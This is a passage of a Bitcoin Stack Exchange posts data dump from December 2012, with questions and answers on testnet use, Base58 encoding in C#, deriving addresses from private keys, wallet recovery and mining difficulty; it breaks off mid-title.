  <row Id="5813" PostTypeId="2" ParentId="5807" CreationDate="2012-12-16T22:14:30.867" Score="1" Body="&lt;p&gt;JSON data structure supports lists (arrays).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/JSON&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/JSON&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the first API command (ListAccounts) the result contents is an object which contains a string.  Inside this string is a set of data records, each of which is a key/value item.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second (ListReceivedByAccount) the result contents is an array of objects, each of which holds account data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That does appear inconsistent, where perhaps the first call should have returned an array as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However a rule of thumb is that existing APIs should not change.  They can be deprecated and replaced but a call is expected to behave in a consistent manner.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin client is an open source project and thus an issue ticket for this inconsistency can be opened and a pull request with the source for a new API call submitted.  Whether such an issue is merged into the client depends on a number of factors, including severity of problem.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-25T12:40:25.570" LastActivityDate="2012-12-25T12:40:25.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5814" PostTypeId="2" ParentId="5809" CreationDate="2012-12-17T00:03:56.890" Score="1" Body="&lt;p&gt;The code appears in your account history.  If it hasn't been redeemed, it also appears here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Funding Options -&gt; Redeem Codes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has a Cancel if you don't wish to use it (it simply redeems it to your own account).&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-17T00:03:56.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5815" PostTypeId="2" ParentId="5808" CreationDate="2012-12-17T00:17:08.617" Score="1" Body="&lt;p&gt;In aggregate, this is shown in BitcoinDays Destroyed (e.g., &lt;a href=&quot;http://blockchain.info/charts/bitcoin-days-destroyed-min-year&quot; rel=&quot;nofollow&quot;&gt;unspent for one year or more&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done with some degree of effort using the Bitcoin API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v0.7 getrawtransaction gives you &lt;a href=&quot;https://bitcointalk.org/index.php?topic=89725.msg990497#msg990497&quot; rel=&quot;nofollow&quot;&gt;access to transactions&lt;/a&gt; even those not in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are other tools that you can use to build this capability as well.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;libBitcoin&lt;/li&gt;&#xA;&lt;li&gt;Armory (see &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/tree/master/extras&quot; rel=&quot;nofollow&quot;&gt;Extras&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin ABE &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-17T00:17:08.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5816" PostTypeId="1" AcceptedAnswerId="5817" CreationDate="2012-12-17T04:43:57.630" Score="0" ViewCount="239" Body="&lt;p&gt;I'm concerned that people new to Bitcoin may not be aware that the test network exists, and the new users will end up &quot;paying&quot; for Bitcoins that are essentially worthless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What protections are in place (or should be in place) to prevent a vulture capitalist from selling coins that can't cross between networks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should we openly reject offers (or the consumer demand) for coins on the test network?  ... the main idea is that the thought leaders of the Bitcoin initiative want to protect their investment in the network and prevent dilution though potential bad marketing this &quot;counterfeit&quot; network provides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So again, the question is, what actions should we take with regard to the test network and questions/needs regarding it?  How can we ensure that it doesn't take on a monetary value of its own (or act as a negative influence on the prod network)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-17T07:37:15.957" Title="How do we prevent the Test network from being misrepresented as production?" Tags="|development|testnet|fraud|marketing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5817" PostTypeId="2" ParentId="5816" CreationDate="2012-12-17T07:37:15.957" Score="5" Body="&lt;p&gt;The main precaution against such practices should be the main client clearly stating that it is operating on testnet and perhaps with addition &quot;for testing purposes only. Get free testing bitcoins at testnet faucet&quot;. This would protect some buyers, but not all (those that would be perhaps scammed into using a testnet eWallet or something).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why one shouldn't assign any value to testnet bitcoins, I would argue that the main reason is that the testnet has a tendency of being reset from the very beginning. Currently we are at testnet 3 as far as I remember, and there is nothing stopping the development team from starting a new testnet without much warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, if people can be convinced to buy testnet bitcoins, there is little one can do.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-17T07:37:15.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5818" PostTypeId="1" CreationDate="2012-12-17T11:55:53.027" Score="2" ViewCount="140" Body="&lt;p&gt;How should I visually distinguish between the different types of keys available for the end user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far the common keys I've come across are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Private key (not to be shared)&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin address (to be shared, and may or may not have a backing private key)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3059/1878&quot;&gt;Compressed public key&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/User:Casascius/Passphrased_private_key_proposal&quot; rel=&quot;nofollow noreferrer&quot;&gt;Casascius keys&lt;/a&gt; (where the private key is split in half totaling 3 keys)&lt;/li&gt;&#xA;&lt;li&gt;Multi signatures&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-12-18T13:27:26.070" Title="What are the preferred UI images for Bitcoin Address &amp; private key and multi-signature key?" Tags="|development|private-key|public-key|multi-signature|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5819" PostTypeId="1" AcceptedAnswerId="5834" CreationDate="2012-12-17T13:38:15.773" Score="5" ViewCount="457" Body="&lt;p&gt;Suppose I just used vanitygen to create this key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Pattern: 1a&#xA;Address: e1aMGYXuGpUwDGH9gz3ZBs8UH746nRdEk6&#xA;Privkey: 5KhCszBi22hEZZixPEQkLAMtUVkxbGaxBFsH7a9iefqrxHmSXgH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All I had to do to import this key was import the Privkey. Nothing with &quot;Address' was needed with ImportPrivKey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know the technical details on how the Address can be extracted when all that is known is the private key.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1786/given-a-private-key-how-do-you-get-a-public-address&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1389/1878&quot;&gt;this&lt;/a&gt; question, but still haven't found the secret sauce on how an Address is calculated or found in binary format given only a private key. How is the Address extracted from the private key alone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intent is to learn this process and implement it in C#. Note that I already know the Base58Check format, and there is no mention of the private key in any wiki I've seen regarding that. &lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-12-19T06:38:38.487" Title="How does ImportPrivateKey get the Address if I don't explicitly send it?" Tags="|development|private-key|public-key|import|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5821" PostTypeId="1" CreationDate="2012-12-17T16:14:56.540" Score="1" ViewCount="680" Body="&lt;p&gt;I restarted my computer and now bitcoin doesnt go further than &quot;verifying database integrity&quot; and staying in until now (about an hour now) also windows tells me that the program isnt responding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows what to do ?&lt;/p&gt;&#xA;" OwnerUserId="2454" LastActivityDate="2012-12-17T16:14:56.540" Title="Stuck in &quot;verifying database integrity&quot;" Tags="|database|" AnswerCount="0" CommentCount="2" ClosedDate="2013-01-22T21:21:27.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="5822" PostTypeId="1" CreationDate="2012-12-17T16:53:05.827" Score="2" ViewCount="3120" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2215/bitcoin-client-wont-connect-to-the-network&quot;&gt;Bitcoin client won’t connect to the network&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I'm using an iMac with OSX 10.8. Bitcoin-Qt which never seems to sync. I have withdrawn coins from Mt.Gox to an address generated by Bitcoin-Qt. While the transaction has registered with Mt.Gox, there is nothing in my wallet. Do I just leave it open until it syncs, start agin or what?&lt;/p&gt;&#xA;" OwnerUserId="2455" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-12-31T08:20:27.640" Title="Bitcoin QT wallet doesn't sync" Tags="|wallet|" AnswerCount="1" CommentCount="1" ClosedDate="2013-01-10T17:13:05.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="5823" PostTypeId="1" CreationDate="2012-12-17T17:58:23.660" Score="4" ViewCount="156" Body="&lt;p&gt;I'm testing a C# port of the client on the Test network and need to test for a variety of conditions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Should I communicate to others regarding my actions on the network?  If so, what method of communication should I use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any expected behavior I should / should not do on the Test network such as mine with FPGA or ASIC?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Suppose I want to co-operatively test the resilience and response to invalid blocks and network attacks, should I do it on the test network?  Where would I coordinate this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-18T00:03:29.293" Title="I'm developing on the Test network. Are there any &quot;rules&quot; or communication methods I should adopt?" Tags="|protocol|attack|testnet|testing|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5825" PostTypeId="1" CreationDate="2012-12-17T21:08:21.430" Score="6" ViewCount="3554" Body="&lt;p&gt;If testnet coins are &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5770/how-do-i-generate-coins-on-testnet-cpu-gpu-fpga-are-there-pools/5778#comment8110_5778&quot;&gt;this&lt;/a&gt; difficult to get, what's the chance people start throwing in some real money to speed along the process?&#xA;If only to just have to not wait to test, say if you have an important time sensitive simulation you want to run?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2020-08-13T09:50:13.970" Title="Paying for testnet coins?" Tags="|development|testnet|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5826" PostTypeId="2" ParentId="5823" CreationDate="2012-12-18T00:03:29.293" Score="4" Body="&lt;p&gt;Testnet code has been modified to lessen the impact of fluctuations of hashing power mining against testnet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://github.com/bitcoin/bitcoin/pull/686&quot; rel=&quot;nofollow&quot;&gt;http://github.com/bitcoin/bitcoin/pull/686&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you wish to test against your own testnet, or think you might interfere with others needlessly, then &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/testnet-in-a-box/&quot; rel=&quot;nofollow&quot;&gt;Testnet-In-A-Box&lt;/a&gt; is for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this doesn't mean you shouldn't use Testnet -- especially if you find something you think might be disruptive to bitcoin.  Feel free to verify your suspicions on Testnet even if it slams it hard.  That's why it exists.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-18T00:03:29.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5827" PostTypeId="2" ParentId="3822" CreationDate="2012-12-18T00:29:39.663" Score="16" Body="&lt;p&gt;You can create a directory junction (as i did to move the BitCoin data folder), or you can &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot;&gt;specify a different data folder location&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BitCoin-qt.exe -datadir=d:\BitCoinData&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will be the long-term solution.&lt;/p&gt;&#xA;" OwnerUserId="2446" LastActivityDate="2012-12-18T00:29:39.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5828" PostTypeId="2" ParentId="5819" CreationDate="2012-12-18T00:48:40.100" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;Technical background of Bitcoin addresses&lt;/a&gt; article in the Bitcoin Wiki describes in detail how a Bitcoin address is obtained from a &lt;a href=&quot;http://en.bitcoin.it/wiki/Private_key&quot; rel=&quot;nofollow noreferrer&quot;&gt;Private key&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GxItB.png&quot; alt=&quot;Private key to Bitcoin Address&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-18T00:54:23.183" LastActivityDate="2012-12-18T00:54:23.183" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5829" PostTypeId="1" AcceptedAnswerId="5830" CreationDate="2012-12-18T01:25:52.830" Score="3" ViewCount="6104" Body="&lt;p&gt;I am trying to encode and decode a Base58 address in C#.  The following function is a start, but it has a few issues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This code does not &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding#Creating_a_Base58Check_string&quot; rel=&quot;nofollow&quot;&gt;normalize leading zeros&lt;/a&gt; (what does that look like?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If this method is repeatedly called in rapid succession many string objects will be created, putting pressure on the GC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.NET 4.5 Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note add a reference to System.Numerics&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BigInteger  bi =  System.Numerics.BigInteger.Parse(&quot;00010966776006953D5567439E5E39F86A0D273BEED61967F6&quot;, NumberStyles.HexNumber);&#xA;&#xA;string b58 = EncodeBase58(bi);&#xA;Console.WriteLine(b58 + Environment.NewLine + &quot;16UwLL9Risc3QfPqBUvKofHmBQ7wMtjvM&quot;);&#xA;&#xA;   /// .... SNIP&#xA;&#xA;   public static String sBase58Alphabet = &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;;&#xA;    public static String EncodeBase58(BigInteger numberToShorten)&#xA;    {&#xA;        // WARNING: Beware of bignumber implementations that clip leading 0x00 bytes, or prepend extra 0x00 &#xA;        // bytes to indicate sign - your code must handle these cases properly or else you may generate valid-looking&#xA;        // addresses which can be sent to, but cannot be spent from - which would lead to the permanent loss of coins.)&#xA;&#xA;&#xA;        // Base58Check encoding is also used for encoding private keys in the Wallet Import Format. This is formed exactly&#xA;        // the same as a Bitcoin address, except that 0x80 is used for the version/application byte, and the payload is 32 bytes&#xA;        // instead of 20 (a private key in Bitcoin is a single 32-byte unsigned big-endian integer). Such encodings will always&#xA;        // yield a 51-character string that starts with '5', or more specifically, either '5H', '5J', or '5K'.   https://en.bitcoin.it/wiki/Base58Check_encoding&#xA;        const int sizeWalletImportFormat = 51;&#xA;&#xA;        char[] result = new char[33];&#xA;&#xA;        int i = 0;&#xA;        while (numberToShorten &amp;gt;= 0 &amp;amp;&amp;amp; result.Length &amp;gt; i)&#xA;        {&#xA;            var lNumberRemainder = BigInteger.Remainder(numberToShorten, (BigInteger)sBase58Alphabet.Length);&#xA;            numberToShorten = numberToShorten / (BigInteger)sBase58Alphabet.Length;&#xA;           result[result.Length - 1- i] = sBase58Alphabet[(int)lNumberRemainder] ;&#xA;           i++;&#xA;        }&#xA;&#xA;        return new string(result);&#xA;    }&#xA;    //public static long DecodeBase58(String base58StringToExpand)&#xA;    //{&#xA;    //    long lConverted = 0;&#xA;    //    long lTemporaryNumberConverter = 1;&#xA;&#xA;    //    while (base58StringToExpand.Length &amp;gt; 0)&#xA;    //    {&#xA;    //        String sCurrentCharacter = base58StringToExpand.Substring(base58StringToExpand.Length - 1);&#xA;    //        lConverted = lConverted + (lTemporaryNumberConverter * sBase58Alphabet.IndexOf(sCurrentCharacter));&#xA;    //        lTemporaryNumberConverter = lTemporaryNumberConverter * sBase58Alphabet.Length;&#xA;    //        base58StringToExpand = base58StringToExpand.Substring(0, base58StringToExpand.Length - 1);&#xA;    //    }&#xA;    //}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-19T21:09:32.107" LastActivityDate="2012-12-19T21:09:32.107" Title="How do I Base58 Checked encode / decode an address in C#? What does &quot;normalize leading zeros&quot; mean?" Tags="|development|public-key|c#|base58check|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5830" PostTypeId="2" ParentId="5829" CreationDate="2012-12-18T02:31:17.320" Score="2" Body="&lt;p&gt;To normalize leading zeros is &lt;a href=&quot;https://en.bitcoin.it/wiki/File%3aPubKeyToAddr.png&quot; rel=&quot;nofollow&quot;&gt;documented in this link,&lt;/a&gt; namely this text at the bottom:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In a standard base conversion, the 0x00 byte on the left would be&#xA;  irrelevant (like writing 052 instead of 52) but in the BTC network the&#xA;  left most zero chars are carried through the conversion. So for every&#xA;  0x00 byte on the left end of the binary address, we will attach one&#xA;  '1' character to the Base58 address.  This is why the main-network&#xA;  addresses all start with 1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The following code will address the GC issue with over-allocation and discarding of the String type, however it  &lt;strong&gt;does not&lt;/strong&gt; properly handle the leading zero bytes.  I either need to find a list of expected lengths per type or some other approach.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public static String sBase58Alphabet = &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;;&#xA;    public static String EncodeBase58(BigInteger numberToShorten)&#xA;    {&#xA;        // WARNING: Beware of bignumber implementations that clip leading 0x00 bytes, or prepend extra 0x00 &#xA;        // bytes to indicate sign - your code must handle these cases properly or else you may generate valid-looking&#xA;        // addresses which can be sent to, but cannot be spent from - which would lead to the permanent loss of coins.)&#xA;&#xA;&#xA;        // Base58Check encoding is also used for encoding private keys in the Wallet Import Format. This is formed exactly&#xA;        // the same as a Bitcoin address, except that 0x80 is used for the version/application byte, and the payload is 32 bytes&#xA;        // instead of 20 (a private key in Bitcoin is a single 32-byte unsigned big-endian integer). Such encodings will always&#xA;        // yield a 51-character string that starts with '5', or more specifically, either '5H', '5J', or '5K'.   https://en.bitcoin.it/wiki/Base58Check_encoding&#xA;        const int sizeWalletImportFormat = 51;&#xA;&#xA;        char[] result = new char[33];&#xA;&#xA;        Int32 iAlphabetLength = sBase58Alphabet.Length;&#xA;        BigInteger iAlphabetLength2 = BigInteger.Parse(iAlphabetLength.ToString());&#xA;&#xA;        int i = 0;&#xA;        while (numberToShorten &amp;gt;= 0 &amp;amp;&amp;amp; result.Length &amp;gt; i)&#xA;        {&#xA;            var lNumberRemainder = BigInteger.Remainder(numberToShorten, iAlphabetLength2);&#xA;            numberToShorten = numberToShorten / iAlphabetLength;&#xA;           result[result.Length - 1- i] = sBase58Alphabet[(int)lNumberRemainder] ;&#xA;           i++;&#xA;        }&#xA;&#xA;        return new string(result);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-18T03:16:23.400" LastActivityDate="2012-12-18T03:16:23.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5831" PostTypeId="2" ParentId="5819" CreationDate="2012-12-18T08:07:29.860" Score="3" Body="&lt;p&gt;Have you looked at references of &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&lt;/a&gt;&#xA;Like:&#xA;Certicom Research, Standards for efficient cryptography, SEC 1: Elliptic Curve Cryptography, Version 2.0, May 21, 2009.&lt;/p&gt;&#xA;" OwnerUserId="2461" LastActivityDate="2012-12-18T08:07:29.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5832" PostTypeId="2" ParentId="5825" CreationDate="2012-12-18T11:12:06.263" Score="4" Body="&lt;p&gt;You can always try to hit up a developer on #bitcoin-dev IRC channel (Freenode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is now a faucet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tpfaucet.appspot.com&quot; rel=&quot;nofollow&quot;&gt;http://tpfaucet.appspot.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-26T22:30:37.367" LastActivityDate="2012-12-26T22:30:37.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5833" PostTypeId="2" ParentId="5783" CreationDate="2012-12-18T12:27:54.003" Score="4" Body="&lt;p&gt;OK. This got interesting quickly. I have built a small block explorer and have found 5 transactions with high nLockTime values in blocks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/rawblock/000000000000036a546044e094db778e1c146f051cd5d0e52fb0e6c43e63ea8c&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawblock/000000000000036a546044e094db778e1c146f051cd5d0e52fb0e6c43e63ea8c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/rawblock/000000000000049bd7c8aebf91efc907c880a35c05b7861b4eab3fc09655bb05&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawblock/000000000000049bd7c8aebf91efc907c880a35c05b7861b4eab3fc09655bb05&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/rawblock/00000000000005f229df518de50c53616f4f2f895deca078dce1d74d5b79e39c&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawblock/00000000000005f229df518de50c53616f4f2f895deca078dce1d74d5b79e39c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/rawblock/000000000000026e8536f6ffe741feeb30d7123e6435b3ad7db141833969b5bf&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawblock/000000000000026e8536f6ffe741feeb30d7123e6435b3ad7db141833969b5bf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/rawblock/00000000000001d985839442aac0179713fc7f6e5b109d524a272d3d55600d7a&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawblock/00000000000001d985839442aac0179713fc7f6e5b109d524a272d3d55600d7a&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one in each block with lock time values 198370, 199000, 199000, 207150 and 207167. None of them are expired yet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will answer my own question and start a post in bitcointalk to see this in more depth (how the transactions got there, what happens to them if the clients change, etc).&lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2012-12-18T12:27:54.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5834" PostTypeId="2" ParentId="5819" CreationDate="2012-12-18T12:46:50.563" Score="4" Body="&lt;p&gt;You ought to ask this question on CryptoSE, as the problem is not Bitcoin-specific. I've even &lt;a href=&quot;https://crypto.stackexchange.com/q/5756/843&quot;&gt;done that for you&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The public key is QA=dAG where G is the base point on the curve defined in the publicly agreed upon parameters.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And you can find the &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin curve (secp256k1) parameters&lt;/a&gt; in the wiki.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2012-12-18T12:46:50.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5835" PostTypeId="1" CreationDate="2012-12-18T15:17:30.733" Score="2" ViewCount="10698" Body="&lt;p&gt;I want to send bitcoins, but cannot unlock my wallet. The rpc password located in \AppData\Roaming does not work. How can I unlock my wallet? Deleting the wallet.dat erases all my bitcoins, which I would like to keep.&lt;/p&gt;&#xA;" OwnerUserId="2463" LastActivityDate="2023-12-04T19:41:26.363" Title="Unlocking wallet, recovering password" Tags="|wallet|passphrase|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5836" PostTypeId="2" ParentId="5835" CreationDate="2012-12-18T15:42:35.063" Score="1" Body="&lt;p&gt;If you forgot your encrypted wallet's password, there is nothing you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep it anyway, just in case you remember it someday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you have a backup, you can use that one.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-12-18T15:42:35.063" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5837" PostTypeId="1" AcceptedAnswerId="5868" CreationDate="2012-12-18T17:29:40.733" Score="4" ViewCount="458" Body="&lt;p&gt;I have been recently playing with the testnet (using bitcoin-qt -testnet). I have been able to mine a few coins and do some test transfers, but I have found some problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The coins appear sent, but a second, receiving client never saw them.&lt;/li&gt;&#xA;&lt;li&gt;When launching the client some days later the mined coins (and all the blockchain data) have vanished.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have read we are now in the third testnet. I have checked my .bitcoin directory and there are two tesnet directories, one named testnet and a second called testnet3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I connecting to two different networks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought there was just a testnet, but now I have my doubts. If there are many testnets or if the testnet can change, how can I make sure I can still check my old transactions?&lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2019-07-26T22:31:24.920" Title="Is the Testnet stable?" Tags="|blockchain|bitcoin-core|testnet|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5838" PostTypeId="1" AcceptedAnswerId="5840" CreationDate="2012-12-18T18:30:56.720" Score="78" ViewCount="45152" Body="&lt;p&gt;Can anyone explain me in the plain English how difficulty is calculated. I have a very approximate understanding that it is calculated based on the amount of hash power in all the bitcoin community over a specific period of time. But this is very vague.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I understand it can change very rapidly. Can it only increase? Is there any formula how to calculate it or predict it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for a detailed answer, Meni Rosenfeld. Just to make sure I got everything right. I am summing up all the time, it took to generate the last 2016 blocks. And then apply the formula. &lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="5406" LastEditDate="2021-08-02T15:33:43.837" LastActivityDate="2023-08-21T15:40:28.203" Title="How is difficulty 